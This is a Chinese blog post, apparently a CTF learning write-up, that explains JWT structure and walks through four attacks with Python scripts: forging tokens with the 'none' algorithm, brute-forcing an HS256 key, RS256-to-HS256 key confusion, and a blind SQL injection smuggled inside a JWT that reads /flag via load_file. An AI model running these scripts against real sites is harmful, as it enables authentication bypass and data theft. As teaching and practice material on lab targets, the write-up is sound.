美文网首页
JWT 学习

JWT 学习

作者: CSeroad | 来源:发表于2021-02-09 14:30 被阅读0次

前言

在实际测试网站时多次遇到JWT认证,赶紧把这块知识点通过CTF题目的方式补上。

JWT 定义

JWT 全称是Json Web Token,由服务端用加密算法对信息签名来保证其完整性和不可伪造。
Token里可以包含所有必要信息,这样服务端就无需保存任何关于用户或会话的信息,JWT可用于身份认证、会话状态维持、信息交换等。特别适用于分布式站点的单点登录(SSO)场景。

  • 优点
  1. JWT可以进行跨语言支持的,如JAVA,JavaScript,NodeJS,PHP等很多语言都可以使用;
  2. JWT可以在自身存储一些其他业务逻辑所必要的非敏感信息;
  3. JWT结构简单,字节占用很小,便于传输;
  4. JWT不需要在服务端保存会话信息,易于应用的扩展;
  • 缺点
  1. JWT包含认证信息,因此一旦信息泄露,任何人都可以获得令牌的所有权限;
  2. JWT不建议使用HTTP协议来传输代码,而是使用加密的HTTPS协议进行传输;
  3. 由于服务器不保存session状态,

JWT 结构

JWT是一个很长的字符串,包含头部、载荷、签名,中间用.分割为三个部分,即

Header.Payload.Signature

下面分别学习每个部分:

  • Header
    Header部分是一个JSON 对象。
{
  "alg": "HS256",
  "typ": "JWT"
}

alg表示签名的算法,默认HS256;
type表示令牌的类型;
最后将Header部分的JSON 对象使用Base64URL算法转成字符串。

  • Payload
    Payload部分也是一个JSON 对象。
    这部分有7个字段,分别是
iss (issuer):JWT的发行者
exp (expiration time):过期时间
sub (subject):JWT面向的主题
aud (audience):JWT的用户
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):JWT唯一标识

除此以外,也可以自定义字段。如:

{
  "sub": "123456789",
  "name": "cseroad",
  "admin": true
}

最后同样将该json对象使用Base64URL算法转成字符串。

  • Signature
    Signature 部分是对前两部分的签名,防止数据被篡改。
    首先需要一个服务器端的秘钥secretkey。然后,使用Header里面指定的签名算法(HS256(HMAC SHA256),按照公式产生签名。

公式如下:

data = base64urlEncode(header) + "." + base64urlEncode(payload)
signature = HMAC-SHA256(data,secretkey)

算法

  • Base64URL算法是base64的修改版,是为了方便在web中传输使用了不同的编码表,不会在末尾填充=号,并将+和/分别改为-和_
  • HMAC算法是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code)的缩写,它是一种对称加密算法,使用相同的密钥对传输信息进行加解密。
  • RSA算法则是一种非对称加密算法,使用私钥加密明文,公钥解密密文。
    在HMAC和RSA算法中,都是使用私钥对signature字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token。

JWT 漏洞

空密码算法

docker实验环境:

docker pull gluckzhang/ctf-jwt-token
docker run --rm -p 8080:8080 gluckzhang/ctf-jwt-token

登录失败后,会返回正确账户密码。再次登录,cookie里token就是JWT。
解码一下。在线解码地址:https://jwt.io/

image.png

将用户修改为admin,并且将alg的值改为none,借助python2的pyjwt库,该库pip直接install安装即可。

import jwt
payload = {"auth":1612336103120,"agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0","role":"admin","iat":1612336103}
print(jwt.encode(payload,None,algorithm="none"))
image.png

替换新的JWT,再次请求。

image.png

成功登录admin用户。

JWT爆破

题目来自:https://2019shell1.picoctf.com/problem/32267/
当alg指定了加密算法时,可以进行针对key的暴力破解。
python2 编写的爆破脚本:

# !/usr/bin/env python2
# -*- coding: utf-8 -*-
import jwt
import sys

def burp_jwt(jwt_json,dicts):
    with open(dicts) as f:
        for line in f:
            key = line.strip()
            try:
                jwt.decode(jwt_json,verify=True,key=key,algorithm='HS256')
                print('found key! --> ' +  key)
                break
            except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                print('found key! --> ' +  key)
                break
            except(jwt.exceptions.InvalidSignatureError):
                print('verify key! -->' + key)
                continue
        else:
            print("key not found!")

if __name__ == '__main__':
    if(len(sys.argv) == 3):
        print('User: please burp_jwt.py jwt_json dict.txt')
        jwt_json = sys.argv[1]
        dicts = sys.argv[2]
        burp_jwt(jwt_json,dicts)
    else:
        print('User: please please burp_jwt.py jwt_json dict.txt')

准备好dict.txt爆破字典,运行命令如下:

python burp_jwt.py jwt_json dict.txt
image.png

爆破出key值为ilovepico。
再通过用户修改为admin,伪造jwt。

import jwt

payload = {
    "user":"admin"
}
key = 'ilovepico'

encoded_jwt = jwt.encode(payload,key,algorithm='HS256').decode('utf-8')
print(encoded_jwt)

计算出admin用户的jwt值。获取flag。

image.png

也可以利用c-jwt-cracker进行爆破。
git 该项目。docker 来破解jwt。

docker build . -t jwtcrack
docker run -it --rm  jwtcrack jwt_json 
image.png

修改RSA加密算法为HMAC

我们知道RSA是非对称加密算法,使用私钥secretkey加密,使用本地的public.key解密。而HMAC是对称加密算法。如果服务端期待收到的算法为RS256,而实际上收到的算法是HS256,那么服务端就可能尝试把public当作私钥secretkey,然后用HS256算法解密验证JWT。
题目来自:http://demo.sjoerdlangkemper.nl/jwtdemo/rs256.php
访问就知道是JWT,且使用RS256算法。

image.png

通过扫描目录获取RSA的公钥public.pem。

image.png

下载后,运行该代码

#python2
import jwt
public = open('public.pem', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='HS256'))

如果运行脚本报错。需要注释algorithms.py文件的第150行。

image.png

再次运行获得admin用户的JWT值。

image.png

send JWT即为admin用户。

image.png

sql注入

题目来自:2020 网鼎杯 玄武组 js_on,可以去ctfhub平台在线练习。

image.png

就看到一个登录框,测试弱口令admin/admin,登录获得key值。

image.png

抓取数据包可以看到使用JWT认证。

image.png

解密JWT

image.png

利用脚本添加key,修改payload部分,计算JWT

import jwt

payload = {
"user": "admin",
"news": "Hello"
}
key = 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6'

encoded_jwt = jwt.encode(payload,key,algorithm='HS256').decode('utf-8')
print(encoded_jwt)

得到新的JWT值。

image.png

判断user参数是否存在sql注入
添加单引号,再编码得到JWT值,再发包。"user": "admin'"

image.png

判断sql注入的注入类型。"user": "admin' and 1=1#"

image.png

好像有过滤。
使用注释符/**/进行绕过。
"user": "admin'/**/and/**/1=1#"

image.png

"user": "admin'/**/and/**/1=2#"

image.png

判断为盲注。
下面就可以直接通过load_file函数读取跟目录下的flag值。
最常用的方法就是通过二分法读取。
在读取之前首先要对注入语句进行处理。

  • 关键字之间添加<a>
  • 空格使用注释符/**/绕过

所以一个简单的payload就有了

admin'/**/and/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),1,1))>32#

通过mid函数一位一位分割,并通过ascii码计算判断在哪两个数字之间。

image.png

结合程序来看,将payload部分进行加密,赋值token,作为cookie进行get请求,通过返回包是否匹配到hello,判断payload是否有效。
首先尝试获取第一位flag字母的ascii值,最小ascii为32,最大为127。
第一次运算,mid取32加127和的整数为79,max取127;第一位flag的ascii是否大于79,判断大于,所以mid最小值变为(79+127)/2=103,最大值为127。判断第一位flag的ascii小于103,所以要把最大值赋值为103,最小值就变为(79+103)/2=91,依次循环,直到计算出在某两个相邻数字之间。

image.png

大于98,小于100,只能是99。
以上就是利用二分法猜解出flag第一位的结果。
外面再嵌套一个for循环,遍历第二位、第三位、第四位......
完整代码为

# coding=utf-8
import jwt
import requests
import re


key = "xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"
url = "http://challenge-0ee2421b156baecb.sandbox.ctfhub.com:10080/index.php"
payloadTmpl = "admin'/**/and/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),{},1))>{}#"

def sql_jwt():
    result = ""
    for i in range(1,50):
        min = 31
        max = 127
        while abs(max-min) > 1:
            mid = (min + max)//2
            payload = payloadTmpl.format(i,mid)
            print(payload)
            jwttoken = {
                "user": payload,
                "news": "hello"
            }
            payload = jwt.encode(jwttoken, key, algorithm='HS256').decode('utf-8')
            cookies = dict(token=str(payload))
            res = requests.get(url,cookies=cookies)
            if re.findall("hello", res.text) != []:
                min = mid
            else:
                max = mid
        result += chr(max)
        print(result)

if __name__ == "__main__":
    sql_jwt()

最终获得flag。

image.png

总结

拿不到key,基本没法弄。

参考资料

https://saucer-man.com/information_security/377.html
https://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html
http://www.si1ent.xyz/2020/10/21/JWT%E5%AE%89%E5%85%A8%E4%B8%8E%E5%AE%9E%E6%88%98/
https://www.ghtwf01.cn/index.php/archives/1108/

相关文章

  • jwt学习

    jwt是如何验证的? jwt保存在客户端,每次请求时都将其放在header中,这样服务器接收到请求后,取出jwt进...

  • jwt 学习

    安全认证 [TOC] 库 CORS:解决跨域问题 https://github.com/expressjs/cor...

  • JWT 学习

    前言 在实际测试网站时多次遇到JWT认证,赶紧把这块知识点通过CTF题目的方式补上。 JWT 定义 JWT 全称是...

  • JsonWebToken

    JWT (JsonWebToken) JWT官网['https://jwt.io/'] JWT简介 1.JWT(J...

  • JWT简介

    在介绍JWT之前先看一下传统校验令牌的方法,如下图: 1.令牌结构 通过学习JWT令牌结构为自定义jwt令牌打好基...

  • JSON Web Token 攻击面

    学习笔记,来源于前人文章的整合。 0×00 什么是JWT JWT ( JSON Web Token 的缩写)是一串...

  • JWT介绍和使用

    最权威网址 JWT官网: https://jwt.io/ 什么是JWT Json web token (JWT),...

  • JWT实现token验证

    JWT官网:https://jwt.io/[https://jwt.io/] JWT(Java版)的github地...

  • JWT学习笔记

    本文是我在学习JWT过程中一些简单的总结,欢迎大家批评指正。 参考文章 JSON Web Token - 在Web...

  • JWT学习笔记

    什么是JWT Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的...

网友评论

      本文标题:JWT 学习

      本文链接:https://www.haomeiwen.com/subject/zlzigktx.html